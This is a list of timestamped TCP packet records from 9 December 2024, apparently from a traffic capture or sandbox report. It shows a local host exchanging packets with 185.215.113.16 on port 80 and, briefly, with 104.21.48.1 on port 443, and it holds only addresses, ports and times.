Dec 9, 2024 21:09:36.004734993 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.005291939 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.005330086 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.005822897 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.005861998 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.006023884 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.006059885 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.006880999 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.007029057 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.007066965 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.007960081 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.007997990 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.008090019 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.008131027 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.009109974 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.009470940 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.009507895 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.010222912 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.010272980 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.010361910 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.010396004 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.011440039 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.011482954 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.012124062 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.012170076 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.012408972 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.012419939 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.012469053 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.013452053 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.013540983 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.013592958 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.014771938 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.014904976 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.014945984 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.016028881 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.016069889 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.016174078 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.016227007 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.016856909 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.016900063 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.017075062 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.017116070 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.018522024 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.018559933 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.018755913 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.018794060 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.019020081 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.019310951 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.019366980 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.019399881 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.020210028 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.020534039 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.020575047 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.021411896 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.021470070 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.021555901 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.021599054 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.022344112 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.022572994 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.022617102 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.023525000 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.023565054 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.023734093 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.023773909 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.024715900 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.024755955 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.025474072 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.025723934 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.025767088 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.026124954 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.026163101 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.026777983 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.026863098 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.027141094 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.027179003 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.027981043 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.028023005 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.028574944 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.028671980 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.029182911 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.029221058 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.029480934 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.029519081 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.030189037 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.030200005 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.030222893 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.030257940 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.031207085 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.033921003 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.165896893 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.165941954 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.166037083 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.166412115 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.166520119 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.166579008 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.167574883 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.167629004 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.167872906 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.167937994 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.168701887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.168713093 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.168746948 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.169744015 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.169909000 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.169962883 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.170913935 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.170958996 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.171108007 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.171154976 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.172008991 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.172070026 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.172305107 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.172349930 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.173068047 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.173115015 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.173444033 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.173489094 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.174417019 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.174468040 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.174474001 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.174515009 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.175287962 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.175632954 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.175681114 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.176378965 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.176428080 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.176513910 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.176558018 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.177575111 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.177917957 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.178162098 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.178204060 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.178607941 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.178654909 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.178913116 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.178953886 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.179819107 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.179863930 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.180051088 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.180089951 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.180891991 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.180937052 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.181941986 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.182035923 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.182209015 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.182220936 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.182275057 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.183379889 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.183506012 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.183547020 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.184142113 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.184196949 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.184591055 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.184627056 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.185317993 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.185359955 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.185601950 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.185651064 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.186317921 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.186367989 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.186552048 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.186594963 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.187455893 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.187709093 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.187720060 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.188822985 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.188872099 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.189301014 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.189342022 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.189970970 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.190165997 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.190203905 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.190830946 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.190871954 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.191010952 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.191075087 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.191869020 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.191931963 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.192142010 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.192197084 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.193061113 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.193273067 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.193325996 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.194132090 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.194178104 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.194482088 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.194526911 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.195203066 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.195276022 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.195372105 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.195435047 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.196327925 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.196384907 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.196620941 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.196664095 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.197458029 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.197670937 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.197710037 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.198590040 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.198627949 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.198672056 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.198712111 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.199649096 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.200058937 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.200102091 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.200762987 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.200810909 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.200896025 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.200942993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.201881886 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.202313900 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.202358961 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.202955008 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.202999115 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.203098059 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.203136921 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.204097033 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.204137087 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.204402924 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.204441071 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.205190897 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.205256939 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.205293894 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.206367016 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.206409931 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.206657887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.206696987 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.207489967 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.207530022 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.207700014 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.207743883 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.208594084 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.208646059 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.208795071 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.208839893 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.209620953 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.209667921 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.209757090 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.209796906 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.210896015 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.211070061 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.211122990 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.211785078 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.211834908 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.212007046 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.212048054 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.212930918 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.212994099 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.213248968 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.213298082 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.213979959 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.214122057 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.214168072 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.215163946 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.215205908 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.215495110 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.215536118 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.216305971 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.216357946 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.216449022 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.216491938 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.217516899 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.218161106 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.218204021 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.218478918 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.218489885 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.218518972 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.218544960 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.219573975 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.219711065 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.219762087 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.220824003 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.220873117 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.221055984 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.221096039 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.221875906 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.221924067 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.222227097 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.222270966 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.222919941 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.223268986 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.223320007 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.223953962 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.224003077 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.350496054 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:36.350547075 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:36.350579977 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:36.350613117 CET	49930	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:36.350615025 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:36.350630045 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:36.350655079 CET	49930	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:36.356587887 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:36.356625080 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:36.356633902 CET	49930	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:36.356643915 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:36.357918978 CET	49930	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:36.357925892 CET	443	49930	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:36.358407974 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.358485937 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.358535051 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.358903885 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.358913898 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.358939886 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.358968019 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.359739065 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.360424042 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.360464096 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.360937119 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.361082077 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.361124992 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.362061977 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.362103939 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.362246990 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.362287045 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.363090038 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.363128901 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.363405943 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.363445997 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.364162922 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.364202976 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.364363909 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.364403963 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.365298986 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.365310907 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.365341902 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.366395950 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.366440058 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.366614103 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.366656065 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.367554903 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.367631912 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.367672920 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.368632078 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.368680954 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.368989944 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.369038105 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.369771004 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.369826078 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.370007992 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.370863914 CET	80	49923	185.215.113.16	192.168.2.6
